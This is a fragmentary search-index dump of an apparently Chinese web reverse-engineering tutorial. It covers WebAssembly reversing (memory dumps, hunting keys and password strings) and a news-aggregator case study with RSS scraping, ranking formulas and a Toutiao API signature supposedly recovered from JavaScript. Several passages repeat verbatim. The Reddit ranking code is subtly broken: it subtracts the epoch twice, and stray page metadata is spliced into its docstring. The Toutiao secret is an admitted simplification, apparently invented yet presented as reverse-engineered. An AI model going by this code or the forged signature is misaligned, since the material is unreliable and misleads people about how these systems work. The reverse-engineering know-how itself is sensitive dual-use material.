","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:6:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#示例-2-修改-wasm-行为"},{"categories":null,"collections":null,"content":"示例 3: 内存 Dump 分析 // Dump Wasm 线性内存 function dumpMemory(instance, start, length) { const memory = new Uint8Array(instance.exports.memory.buffer); const data = memory.slice(start, start + length); // 转换为十六进制字符串 const hex = Array.from(data) .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\" \"); console.log( `Memory [${start.toString(16)}-${(start + length).toString(16)}]:`, hex ); // 尝试作为字符串解析 try { const str = new TextDecoder().decode(data); console.log(\"As string:\", str); } catch (e) {} return data; } // 使用 dumpMemory(instance, 0x1000, 256); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:6:3","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#示例-3-内存-dump-分析"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:7:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#最佳实践"},{"categories":null,"collections":null,"content":"逆向分析流程 信息收集 识别 Wasm 模块的加载方式 确定模块与 JavaScript 的交互接口 记录导入/导出函数 静态分析优先 使用 wasm2wat 获取可读格式 使用 wasm-decompile 获得伪代码 在 IDA Pro/Ghidra 中深入分析 动态验证 使用 Chrome DevTools 调试 Hook 关键函数验证假设 监控内存变化 文档化发现 记录函数签名和用途 绘制调用关系图 标注关键算法 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:7:1","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#逆向分析流程"},{"categories":null,"collections":null,"content":"常用技巧 识别字符串: Wasm 没有字符串类型，通常存储在线性内存中 strings module.wasm | grep -i \"password\" 寻找密钥: 在 Data Section 中查找可疑常量 wasm-objdump -s -j data module.wasm 追踪算法: 识别常见加密算法的特征模式 AES: S-box 查找表 RSA: 大整数运算 SHA: 固定的初始化向量 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:7:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#常用技巧"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:8:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#常见问题"},{"categories":null,"collections":null,"content":"Q: 如何从网页中提取 Wasm 模块？ A: 有多种方法： Network 面板: 在 Chrome DevTools 的 Network 标签中过滤 .wasm 文件 覆盖 WebAssembly API: 拦截 fetch 或 WebAssembly.instantiate 浏览器扩展: 使用 Wasm Dumper 等扩展 代理工具: 使用 Burp Suite 或 mitmproxy 拦截 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:8:1","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#q-如何从网页中提取-wasm-模块"},{"categories":null,"collections":null,"content":"Q: Wasm 能否被混淆？ A: 可以，但效果有限： 变量名在编译后会丢失 函数可以被重命名 控制流可以被混淆（插入死代码、拆分基本块） 常量可以被加密 但指令集有限，模式识别相对容易 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:8:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#q-wasm-能否被混淆"},{"categories":null,"collections":null,"content":"Q: 如何处理加密的 Wasm 模块？ A: 在 WebAssembly.compile 或 instantiate 处下断点 此时模块已解密，从内存中提取 或者 Hook 解密函数，记录解密后的字节 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:8:3","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#q-如何处理加密的-wasm-模块"},{"categories":null,"collections":null,"content":"Q: Wasm 逆向比 JavaScript 逆向更难吗？ A: 各有特点： Wasm 优势: 指令集简单、类型明确、无动态特性 Wasm 劣势: 缺少符号信息、编译优化导致代码复杂 总体: 小型 Wasm 模块通常更容易分析，大型模块需要专业工具 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:8:4","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#q-wasm-逆向比-javascript-逆向更难吗"},{"categories":null,"collections":null,"content":"进阶阅读 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:9:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#进阶阅读"},{"categories":null,"collections":null,"content":"官方资源 WebAssembly 官方规范 MDN WebAssembly 文档 WebAssembly 指令集参考 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:9:1","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#官方资源"},{"categories":null,"collections":null,"content":"工具与项目 WABT (WebAssembly Binary Toolkit) - 官方工具集 Binaryen - 优化和编译工具 wasmtime - 独立 Wasm 运行时 wasmer - 另一个 Wasm 运行时 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:9:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#工具与项目"},{"categories":null,"collections":null,"content":"安全研究 WebAssembly Security: Potentials and Pitfalls Everything Old is New Again: Binary Security of WebAssembly Analyzing WebAssembly Binaries ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:9:3","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#安全研究"},{"categories":null,"collections":null,"content":"相关章节 JavaScript 虚拟机保护 前端加固技术 JavaScript 反混淆 调试技巧 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:10:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#相关章节"},{"categories":null,"collections":null,"content":"新闻聚合网站 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:0:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#新闻聚合网站"},{"categories":null,"collections":null,"content":"概述 新闻聚合网站（如 Hacker News、Reddit、今日头条）汇集多个新闻源，并提供个性化推荐。本文通过 5 个真实案例，深入讲解新闻聚合平台的逆向技术。 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:1:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#概述"},{"categories":null,"collections":null,"content":"案例 1: RSS/Atom Feed 聚合与解析 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#案例-1-rssatom-feed-聚合与解析"},{"categories":null,"collections":null,"content":"背景 传统新闻聚合依赖 RSS/Atom feeds。逆向这些 feeds 可以实现自定义新闻聚合器。 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:1","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#背景"},{"categories":null,"collections":null,"content":"Feed 格式 RSS 2.0 \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003crss version=\"2.0\"\u003e \u003cchannel\u003e \u003ctitle\u003eExample News\u003c/title\u003e \u003clink\u003ehttps://news.example.com\u003c/link\u003e \u003cdescription\u003eLatest news from Example\u003c/description\u003e \u003citem\u003e \u003ctitle\u003eBreaking News: AI Breakthrough\u003c/title\u003e \u003clink\u003ehttps://news.example.com/article/123\u003c/link\u003e \u003cdescription\u003eScientists announce major AI advancement...\u003c/description\u003e \u003cpubDate\u003eMon, 18 Dec 2023 10:00:00 GMT\u003c/pubDate\u003e \u003cguid\u003ehttps://news.example.com/article/123\u003c/guid\u003e \u003c/item\u003e \u003c/channel\u003e \u003c/rss\u003e Atom 1.0 \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003cfeed xmlns=\"http://www.w3.org/2005/Atom\"\u003e \u003ctitle\u003eExample News\u003c/title\u003e \u003clink href=\"https://news.example.com\"/\u003e \u003cupdated\u003e2023-12-18T10:00:00Z\u003c/updated\u003e \u003centry\u003e \u003ctitle\u003eBreaking News: AI Breakthrough\u003c/title\u003e \u003clink href=\"https://news.example.com/article/123\"/\u003e \u003cid\u003eurn:uuid:1234-5678-90ab-cdef\u003c/id\u003e \u003cupdated\u003e2023-12-18T10:00:00Z\u003c/updated\u003e \u003csummary\u003eScientists announce major AI advancement...\u003c/summary\u003e \u003c/entry\u003e \u003c/feed\u003e ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#feed-格式"},{"categories":null,"collections":null,"content":"Feed 格式 RSS 2.0 \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e Example News https://news.example.com Latest news from Example Breaking News: AI Breakthrough https://news.example.com/article/123 Scientists announce major AI advancement... Mon, 18 Dec 2023 10:00:00 GMT https://news.example.com/article/123 Atom 1.0 \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e Example News 2023-12-18T10:00:00Z Breaking News: AI Breakthrough urn:uuid:1234-5678-90ab-cdef 2023-12-18T10:00:00Z Scientists announce major AI advancement... ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#rss-20"},{"categories":null,"collections":null,"content":"Feed 格式 RSS 2.0 \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e Example News https://news.example.com Latest news from Example Breaking News: AI Breakthrough https://news.example.com/article/123 Scientists announce major AI advancement... Mon, 18 Dec 2023 10:00:00 GMT https://news.example.com/article/123 Atom 1.0 \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e Example News 2023-12-18T10:00:00Z Breaking News: AI Breakthrough urn:uuid:1234-5678-90ab-cdef 2023-12-18T10:00:00Z Scientists announce major AI advancement... ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#atom-10"},{"categories":null,"collections":null,"content":"Python 实现 - RSS 聚合器 import feedparser import requests from datetime import datetime from typing import List, Dict import sqlite3 class RSSAggregator: def __init__(self, db_path='news.db'): self.db_path = db_path self.init_database() def init_database(self): \"\"\"初始化数据库\"\"\" conn = sqlite3.connect(self.db_path) cursor = conn.cursor() cursor.execute(''' CREATE TABLE IF NOT EXISTS articles ( id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT, link TEXT UNIQUE, description TEXT, published DATETIME, source TEXT, category TEXT, read BOOLEAN DEFAULT 0 ) ''') conn.commit() conn.close() def fetch_feed(self, feed_url: str, source_name: str): \"\"\"获取并解析 RSS/Atom feed\"\"\" try: # 使用 feedparser 自动检测格式 feed = feedparser.parse(feed_url) articles = [] for entry in feed.entries: article = { 'title': entry.get('title', ''), 'link': entry.get('link', ''), 'description': entry.get('description') or entry.get('summary', ''), 'published': self._parse_date(entry.get('published', '')), 'source': source_name, 'category': self._extract_category(entry) } articles.append(article) return articles except Exception as e: print(f\"Error fetching {feed_url}: {e}\") return [] def _parse_date(self, date_str): \"\"\"解析日期\"\"\" if not date_str: return datetime.now() try: # feedparser 已经解析了日期 from email.utils import parsedate_to_datetime return parsedate_to_datetime(date_str) except: return datetime.now() def _extract_category(self, entry): \"\"\"提取分类\"\"\" # 从 tags 中提取 if hasattr(entry, 'tags'): return ', '.join([tag.term for tag in entry.tags[:3]]) # 从 category 中提取 if hasattr(entry, 'category'): return entry.category return 'General' def save_articles(self, articles: List[Dict]): \"\"\"保存文章到数据库\"\"\" conn = sqlite3.connect(self.db_path) cursor = conn.cursor() for article in articles: try: cursor.execute(''' INSERT OR IGNORE INTO articles (title, link, description, published, source, category) VALUES (?, ?, ?, ?, ?, ?) ''', ( article['title'], article['link'], article['description'], article['published'], article['source'], article['category'] )) except Exception as e: print(f\"Error saving article: {e}\") conn.commit() conn.close() def aggregate_multiple_feeds(self, feeds: Dict[str, str]): \"\"\" 聚合多个 feeds feeds: {'Source Name': 'feed_url', ...} \"\"\" all_articles = [] for source_name, feed_url in feeds.items(): print(f\"Fetching {source_name}...\") articles = self.fetch_feed(feed_url, source_name) all_articles.extend(articles) self.save_articles(all_articles) print(f\"Total articles fetched: {len(all_articles)}\") return all_articles def get_latest_articles(self, limit=20, category=None): \"\"\"获取最新文章\"\"\" conn = sqlite3.connect(self.db_path) cursor = conn.cursor() if category: cursor.execute(''' SELECT * FROM articles WHERE category LIKE ? ORDER BY published DESC LIMIT ? ''', (f'%{category}%', limit)) else: cursor.execute(''' SELECT * FROM articles ORDER BY published DESC LIMIT ? ''', (limit,)) articles = cursor.fetchall() conn.close() return articles # 使用示例 aggregator = RSSAggregator() # 定义 feeds feeds = { 'Hacker News': 'https://news.ycombinator.com/rss', 'TechCrunch': 'https://techcrunch.com/feed/', 'Ars Technica': 'https://feeds.arstechnica.com/arstechnica/index', 'The Verge': 'https://www.theverge.com/rss/index.xml', 'Reddit Python': 'https://www.reddit.com/r/python/.rss' } # 聚合所有 feeds aggregator.aggregate_multiple_feeds(feeds) # 获取最新 20 篇文章 latest = aggregator.get_latest_articles(limit=20) for article in latest: print(f\"[{article[5]}] {article[1]}\") # [source] title print(f\" {article[2]}\") # link print() ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#python-实现---rss-聚合器"},{"categories":null,"collections":null,"content":"高级功能 1. Feed 自动发现 某些网站没有明显的 RSS 链接，需要自动发现: import requests from bs4 import BeautifulSoup from urllib.parse import urljoin def discover_feeds(url): \"\"\"自动发现网站的 RSS/Atom feeds\"\"\" try: response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') feeds = [] # 查找 \u003clink\u003e 标签 for link in soup.find_all('link', type=['application/rss+xml', 'application/atom+xml']): feed_url = urljoin(url, link.get('href', '')) feed_title = link.get('title', 'Untitled Feed') feeds.append({ 'url': feed_url, 'title': feed_title, 'type': link.get('type') }) # 常见的 feed 路径 common_paths = ['/feed', '/rss', '/atom.xml', '/rss.xml', '/feed.xml'] for path in common_paths: test_url = urljoin(url, path) try: r = requests.head(test_url, timeout=3) if r.status_code == 200: feeds.append({ 'url': test_url, 'title': f'Feed at {path}', 'type': 'application/rss+xml' }) except: continue return feeds except Exception as e: print(f\"Error discovering feeds: {e}\") return [] # 使用示例 feeds = discover_feeds('https://blog.example.com') for feed in feeds: print(f\"{feed['title']}: {feed['url']}\") 2. Full Content Extraction RSS feed 通常只包含摘要，需要提取完整内容: from newspaper import Article import re class FullContentExtractor: def __init__(self): pass def extract_article(self, url): \"\"\"提取完整文章内容\"\"\" try: article = Article(url) article.download() article.parse() # NLP 处理（可选） article.nlp() return { 'title': article.title, 'authors': article.authors, 'publish_date': article.publish_date, 'text': article.text, 'top_image': article.top_image, 'videos': article.movies, 'keywords': article.keywords, 'summary': article.summary } except Exception as e: print(f\"Error extracting {url}: {e}\") return None def clean_text(self, text): \"\"\"清理文本\"\"\" # 移除多余空行 text = re.sub(r'\\n{3,}', '\\n\\n', text) # 移除广告标记 ad_patterns = [ r'\\[广告\\].*?\\n', r'Advertisement.*?\\n', r'Sponsored.*?\\n' ] for pattern in ad_patterns: text = re.sub(pattern, '', text, flags=re.IGNORECASE) return text.strip() # 使用示例 extractor = FullContentExtractor() content = extractor.extract_article('https://news.example.com/article/123') if content: print(f\"Title: {content['title']}\") print(f\"Summary: {content['summary']}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:4","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#高级功能"},{"categories":null,"collections":null,"content":"高级功能 1. Feed 自动发现 某些网站没有明显的 RSS 链接，需要自动发现: import requests from bs4 import BeautifulSoup from urllib.parse import urljoin def discover_feeds(url): \"\"\"自动发现网站的 RSS/Atom feeds\"\"\" try: response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') feeds = [] # 查找 标签 for link in soup.find_all('link', type=['application/rss+xml', 'application/atom+xml']): feed_url = urljoin(url, link.get('href', '')) feed_title = link.get('title', 'Untitled Feed') feeds.append({ 'url': feed_url, 'title': feed_title, 'type': link.get('type') }) # 常见的 feed 路径 common_paths = ['/feed', '/rss', '/atom.xml', '/rss.xml', '/feed.xml'] for path in common_paths: test_url = urljoin(url, path) try: r = requests.head(test_url, timeout=3) if r.status_code == 200: feeds.append({ 'url': test_url, 'title': f'Feed at {path}', 'type': 'application/rss+xml' }) except: continue return feeds except Exception as e: print(f\"Error discovering feeds: {e}\") return [] # 使用示例 feeds = discover_feeds('https://blog.example.com') for feed in feeds: print(f\"{feed['title']}: {feed['url']}\") 2. Full Content Extraction RSS feed 通常只包含摘要，需要提取完整内容: from newspaper import Article import re class FullContentExtractor: def __init__(self): pass def extract_article(self, url): \"\"\"提取完整文章内容\"\"\" try: article = Article(url) article.download() article.parse() # NLP 处理（可选） article.nlp() return { 'title': article.title, 'authors': article.authors, 'publish_date': article.publish_date, 'text': article.text, 'top_image': article.top_image, 'videos': article.movies, 'keywords': article.keywords, 'summary': article.summary } except Exception as e: print(f\"Error extracting {url}: {e}\") return None def clean_text(self, text): \"\"\"清理文本\"\"\" # 移除多余空行 text = re.sub(r'\\n{3,}', '\\n\\n', text) # 移除广告标记 ad_patterns = [ r'\\[广告\\].*?\\n', r'Advertisement.*?\\n', r'Sponsored.*?\\n' ] for pattern in ad_patterns: text = re.sub(pattern, '', text, flags=re.IGNORECASE) return text.strip() # 使用示例 extractor = FullContentExtractor() content = extractor.extract_article('https://news.example.com/article/123') if content: print(f\"Title: {content['title']}\") print(f\"Summary: {content['summary']}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:4","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#1-feed-自动发现"},{"categories":null,"collections":null,"content":"高级功能 1. Feed 自动发现 某些网站没有明显的 RSS 链接，需要自动发现: import requests from bs4 import BeautifulSoup from urllib.parse import urljoin def discover_feeds(url): \"\"\"自动发现网站的 RSS/Atom feeds\"\"\" try: response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') feeds = [] # 查找 标签 for link in soup.find_all('link', type=['application/rss+xml', 'application/atom+xml']): feed_url = urljoin(url, link.get('href', '')) feed_title = link.get('title', 'Untitled Feed') feeds.append({ 'url': feed_url, 'title': feed_title, 'type': link.get('type') }) # 常见的 feed 路径 common_paths = ['/feed', '/rss', '/atom.xml', '/rss.xml', '/feed.xml'] for path in common_paths: test_url = urljoin(url, path) try: r = requests.head(test_url, timeout=3) if r.status_code == 200: feeds.append({ 'url': test_url, 'title': f'Feed at {path}', 'type': 'application/rss+xml' }) except: continue return feeds except Exception as e: print(f\"Error discovering feeds: {e}\") return [] # 使用示例 feeds = discover_feeds('https://blog.example.com') for feed in feeds: print(f\"{feed['title']}: {feed['url']}\") 2. Full Content Extraction RSS feed 通常只包含摘要，需要提取完整内容: from newspaper import Article import re class FullContentExtractor: def __init__(self): pass def extract_article(self, url): \"\"\"提取完整文章内容\"\"\" try: article = Article(url) article.download() article.parse() # NLP 处理（可选） article.nlp() return { 'title': article.title, 'authors': article.authors, 'publish_date': article.publish_date, 'text': article.text, 'top_image': article.top_image, 'videos': article.movies, 'keywords': article.keywords, 'summary': article.summary } except Exception as e: print(f\"Error extracting {url}: {e}\") return None def clean_text(self, text): \"\"\"清理文本\"\"\" # 移除多余空行 text = re.sub(r'\\n{3,}', '\\n\\n', text) # 移除广告标记 ad_patterns = [ r'\\[广告\\].*?\\n', r'Advertisement.*?\\n', r'Sponsored.*?\\n' ] for pattern in ad_patterns: text = re.sub(pattern, '', text, flags=re.IGNORECASE) return text.strip() # 使用示例 extractor = FullContentExtractor() content = extractor.extract_article('https://news.example.com/article/123') if content: print(f\"Title: {content['title']}\") print(f\"Summary: {content['summary']}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:2:4","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#2-full-content-extraction"},{"categories":null,"collections":null,"content":"案例 2: 个性化推荐算法逆向 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:3:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#案例-2-个性化推荐算法逆向"},{"categories":null,"collections":null,"content":"背景 新闻聚合平台（如今日头条、Reddit）使用推荐算法个性化内容。逆向这些算法可以理解推荐机制。 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:3:1","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#背景-1"},{"categories":null,"collections":null,"content":"Reddit 排名算法 Reddit 使用 “Hot” 排名算法: from datetime import datetime import math def reddit_hot_score(ups, downs, date): \"\"\" Reddit Hot 算法 - ups: 点赞数 - downs: 踩数 - date: 发布时间 type: posts tags: [\"Web\", \"浏览器指纹\", \"签名验证\", \"代理池\", \"案例分析\", \"Hook\"] \"\"\" # 计算分数 s = ups - downs # 排序（1 表示正分，-1 表示负分，0 表示中性） order = math.log(max(abs(s), 1), 10) if s \u003e 0: sign = 1 elif s \u003c 0: sign = -1 else: sign = 0 # 时间衰减（Reddit epoch: 2005-12-08 07:46:43） epoch = datetime(2005, 12, 8, 7, 46, 43) seconds = (date - epoch).total_seconds() - 1134028003 return round(sign * order + seconds / 45000, 7) # 示例 post1_score = reddit_hot_score( ups=100, downs=10, date=datetime.now() ) post2_score = reddit_hot_score( ups=500, downs=50, date=datetime.now() ) print(f\"Post 1 score: {post1_score}\") print(f\"Post 2 score: {post2_score}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:3:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#reddit-排名算法"},{"categories":null,"collections":null,"content":"Hacker News 排名算法 from datetime import datetime def hackernews_ranking(points, num_comments, hours_since_submission, gravity=1.8): \"\"\" Hacker News 排名算法 - points: 点数（点赞 - 踩） - num_comments: 评论数 - hours_since_submission: 发布后的小时数 - gravity: 重力参数（默认 1.8） \"\"\" return (points - 1) / pow((hours_since_submission + 2), gravity) # 示例 story1_rank = hackernews_ranking( points=150, num_comments=30, hours_since_submission=2 ) story2_rank = hackernews_ranking( points=80, num_comments=10, hours_since_submission=6 ) print(f\"Story 1 rank: {story1_rank}\") print(f\"Story 2 rank: {story2_rank}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:3:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#hacker-news-排名算法"},{"categories":null,"collections":null,"content":"今日头条推荐逆向 通过抓包分析，发现今日头条使用以下参数: import requests import hashlib import time import json class ToutiaoRecommender: def __init__(self): self.base_url = \"https://www.toutiao.com/api/pc/feed/\" self.session = requests.Session() def generate_signature(self, timestamp): \"\"\" 生成签名 逆向自 Toutiao 的 JS 代码 \"\"\" # 简化版本（实际算法更复杂） secret = \"toutiao_secret_2024\" str_to_sign = f\"{timestamp}|{secret}\" return hashlib.md5(str_to_sign.encode()).hexdigest() def get_recommendations(self, category='news', count=20): \"\"\"获取推荐内容\"\"\" timestamp = int(time.time()) signature = self.generate_signature(timestamp) params = { 'category': category, 'count': count, 'min_behot_time': timestamp, '_signature': signature } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.toutiao.com/' } response = self.session.get( self.base_url, params=params, headers=headers ) data = response.json() articles = [] for item in data.get('data', []): article = { 'title': item.get('title'), 'url': item.get('source_url'), 'abstract': item.get('abstract'), 'source': item.get('source'), 'publish_time': item.get('publish_time'), 'has_video': item.get('has_video', False), 'image_url': item.get('image_url') } articles.append(article) return articles # 使用示例 recommender = ToutiaoRecommender() articles = recommender.get_recommendations(category='tech', count=10) for article in articles: print(f\"[{article['source']}] {article['title']}\") print(f\" {article['url']}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:3:4","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#今日头条推荐逆向"},{"categories":null,"collections":null,"content":"协同过滤推荐实现 import numpy as np from sklearn.metrics.pairwise import cosine_similarity class CollaborativeFilteringRecommender: def __init__(self): self.user_item_matrix = None self.item_similarity = None def fit(self, user_item_matrix): \"\"\" 训练推荐模型 user_item_matrix: numpy array, shape (n_users, n_items) \"\"\" self.user_item_matrix = user_item_matrix # 计算物品相似度（基于用户行为） self.item_similarity = cosine_similarity(user_item_matrix.T) def recommend(self, user_id, top_n=10): \"\"\"为用户推荐 top_n 篇文章\"\"\" # 获取用户已阅读的文章 user_ratings = self.user_item_matrix[user_id] # 计算推荐分数 scores = self.item_similarity.T.dot(user_ratings) # 排除已阅读的文章 scores[user_ratings \u003e 0] = -1 # 返回 top_n top_items = np.argsort(scores)[::-1][:top_n] return top_items # 示例 # 用户-文章矩阵（1 表示阅读，0 表示未阅读） user_item_matrix = np.array([ [1, 1, 0, 0, 1, 0], # 用户 0 [1, 0, 1, 0, 0, 1], # 用户 1 [0, 1, 1, 1, 0, 0], # 用户 2 [0, 0, 1, 1, 1, 1], # 用户 3 ]) recommender = CollaborativeFilteringRecommender() recommender.fit(user_item_matrix) # 为用户 0 推荐 recommendations = recommender.recommend(user_id=0, top_n=3) print(f\"Recommended articles for user 0: {recommendations}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:3:5","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#协同过滤推荐实现"},{"categories":null,"collections":null,"content":"案例 3: 实时新闻推送（WebSocket/SSE） ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#案例-3-实时新闻推送websocketsse"},{"categories":null,"collections":null,"content":"背景 现代新闻网站使用 WebSocket 或 Server-Sent Events (SSE) 推送实时新闻。 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:1","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#背景-2"},{"categories":null,"collections":null,"content":"WebSocket 实时推送 服务端（Node.js） const WebSocket = 